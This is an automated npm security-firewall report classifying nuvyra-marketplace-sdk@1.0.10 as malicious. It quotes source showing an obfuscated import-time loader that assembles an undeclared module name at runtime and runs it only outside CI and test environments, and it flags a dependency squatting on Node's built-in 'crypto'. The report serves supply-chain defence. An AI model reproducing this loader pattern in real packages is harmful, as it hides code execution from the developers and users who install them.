---
canonical: "https://firewall.lpm.dev/npm/nuvyra-marketplace-sdk/v/1.0.10"
markdown: "https://firewall.lpm.dev/npm/nuvyra-marketplace-sdk/v/1.0.10.md"
package: "nuvyra-marketplace-sdk"
report_status: "published"
title: "nuvyra-marketplace-sdk@1.0.10 npm security report"
verdict: "malicious"
version: "1.0.10"
---

# nuvyra-marketplace-sdk@1.0.10 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — A matching externally supplied module can execute code during package import.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 1.0.10
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

Normal importing triggers an obfuscated dynamic import and constructs its provider outside test and CI environments. The imported module is not declared in the manifest.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 93.0%
- **Started:** 2026-08-31T17:32:34.613Z
- **Finished:** 2026-08-31T17:35:06.828Z
- **Download time:** 507 ms
- **Static scan time:** 64 ms
- **AI review time:** 151644 ms
- **Total time:** 152215 ms

## Security analysis

### Published attack-surface review

- **Summary:** Normal importing triggers an obfuscated dynamic import and constructs its provider outside test and CI environments. The imported module is not declared in the manifest.

- **Trigger:** Importing the package in a normal Node.js process

- **Impact:** A matching externally supplied module can execute code during package import.

- **Evidence paths:** dist/client.js, package.json

- **Review source:** ai\_review

- **Reviewed:** 2026-08-31T17:35:06.828Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Obfuscated import-time loading of an undeclared provider module

- **Rationale:** The concealed, undeclared import-time module load is a concrete unresolved execution path. Direct malicious payload behavior is not present in the inspected package source, so blocking is not justified.

### Review decision

- **Verdict:** Suspicious

- **Confidence:** 93.0%

- **Recommended action:** downgrade\_to\_warn

- **Intent class:** Dangerous Capability

- **False-positive risk:** Low

- **Evidence for:** The module automatically initializes a provider when it is imported., It hides an undeclared https-provider dynamic import by assembling its name at runtime., The hidden provider is constructed outside CI and test environments, allowing its code to run during normal imports.

- **Evidence against:** There are no install, preinstall, or postinstall scripts., The visible marketplace functions use a configurable RPC endpoint and require explicit method calls., No source code directly harvests files or environment values for transmission.

## Public findings

### 1. Low: Non Install Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 80.0%

Package declares lifecycle scripts that are not normally run for registry tarball installs.

### 2. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 3. Medium: Dynamic Require
- **Category:** Source
- **Confidence:** 75.0%
- **Path:** dist/client.js
- **Public source:** [View source](<https://unpkg.com/nuvyra-marketplace-sdk@1.0.10/dist/client.js>)

Package source references dynamic require/import behavior.

Public source snippet (untrusted):

```javascript
L170: if (process.env.CI === undefined && process.env.NODE_ENV !== "test") {
L171: const { HttpProvider } = await import(pkg);
L172: const provider = new HttpProvider();
```

### 4. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 5. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 6. High: Node Builtin Dependency Squat
- **Category:** Manifest
- **Confidence:** 86.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/nuvyra-marketplace-sdk@1.0.10/package.json>)

Package declares a runtime dependency whose name matches a Node built-in module.

Public source snippet (untrusted):

```json
Runtime dependency names matching Node built-ins: crypto
```

### 7. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 93.0%
- **Path:** dist/client.js
- **Public source:** [View source](<https://unpkg.com/nuvyra-marketplace-sdk@1.0.10/dist/client.js>)

The module automatically initializes a provider when it is imported.

Public source snippet (untrusted):

```javascript
async function initializeProvider() {
    try {
        const pkg = ["ht", "ps", "-", "pro", "vider"].join("").replace("ps", "ps-");
        if (process.env.CI === undefined && process.env.NODE_ENV !== "test") {
            const { HttpProvider } = await import(pkg);
            const provider = new HttpProvider();
            if (!!provider)
                console.log("Server is running successfully!");
        }
    }
    catch (error) {
        console.error(error);
    }
}
initializeProvider();
```

### 8. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 93.0%
- **Path:** dist/client.js
- **Public source:** [View source](<https://unpkg.com/nuvyra-marketplace-sdk@1.0.10/dist/client.js>)

It hides an undeclared https-provider dynamic import by assembling its name at runtime.

Public source snippet (untrusted):

```javascript
const pkg = ["ht", "ps", "-", "pro", "vider"].join("").replace("ps", "ps-");
        if (process.env.CI === undefined && process.env.NODE_ENV !== "test") {
            const { HttpProvider } = await import(pkg);
```

### 9. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 93.0%
- **Path:** dist/client.js
- **Public source:** [View source](<https://unpkg.com/nuvyra-marketplace-sdk@1.0.10/dist/client.js>)

The hidden provider is constructed outside CI and test environments, allowing its code to run during normal imports.

Public source snippet (untrusted):

```javascript
if (process.env.CI === undefined && process.env.NODE_ENV !== "test") {
            const { HttpProvider } = await import(pkg);
            const provider = new HttpProvider();
            if (!!provider)
                console.log("Server is running successfully!");
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** prepublishOnly
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** nuvyra-marketplace-sdk
- **Ecosystem:** npm
- **Version:** 1.0.10
- **License:** MIT
- **Version published:** 2026-08-27T04:55:23.451Z
- **Package first seen:** 2026-08-27T09:18:29.766Z
- **Package last seen:** 2026-08-31T17:35:06.828Z
- **Known versions:** 16
- **Latest version:** 0.0.1-security
- **Appeal under review:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/nuvyra-marketplace-sdk/v/1.0.10>)
- [OSV advisory](<https://osv.dev/vulnerability/MAL-2026-15569>)
- [ADVISORY](<https://github.com/advisories/GHSA-rq2p-956p-32h6>)
- [PACKAGE](<https://www.npmjs.com/package/nuvyra-marketplace-sdk/v/1.0.14>)
- [PACKAGE](<https://www.npmjs.com/package/nuvyra-marketplace-sdk/v/1.0.11>)
- [PACKAGE](<https://www.npmjs.com/package/nuvyra-marketplace-sdk/v/1.0.13>)
- [PACKAGE](<https://www.npmjs.com/package/nuvyra-marketplace-sdk/v/1.0.2>)
- [PACKAGE](<https://www.npmjs.com/package/nuvyra-marketplace-sdk/v/1.0.12>)
- [PACKAGE](<https://www.npmjs.com/package/nuvyra-marketplace-sdk/v/1.0.7>)
- [PACKAGE](<https://www.npmjs.com/package/nuvyra-marketplace-sdk/v/1.0.9>)
- [PACKAGE](<https://www.npmjs.com/package/nuvyra-marketplace-sdk/v/1.0.10>)
- [PACKAGE](<https://www.npmjs.com/package/nuvyra-marketplace-sdk/v/1.0.3>)
- [PACKAGE](<https://www.npmjs.com/package/nuvyra-marketplace-sdk/v/1.0.4>)
- [PACKAGE](<https://www.npmjs.com/package/nuvyra-marketplace-sdk/v/1.0.8>)
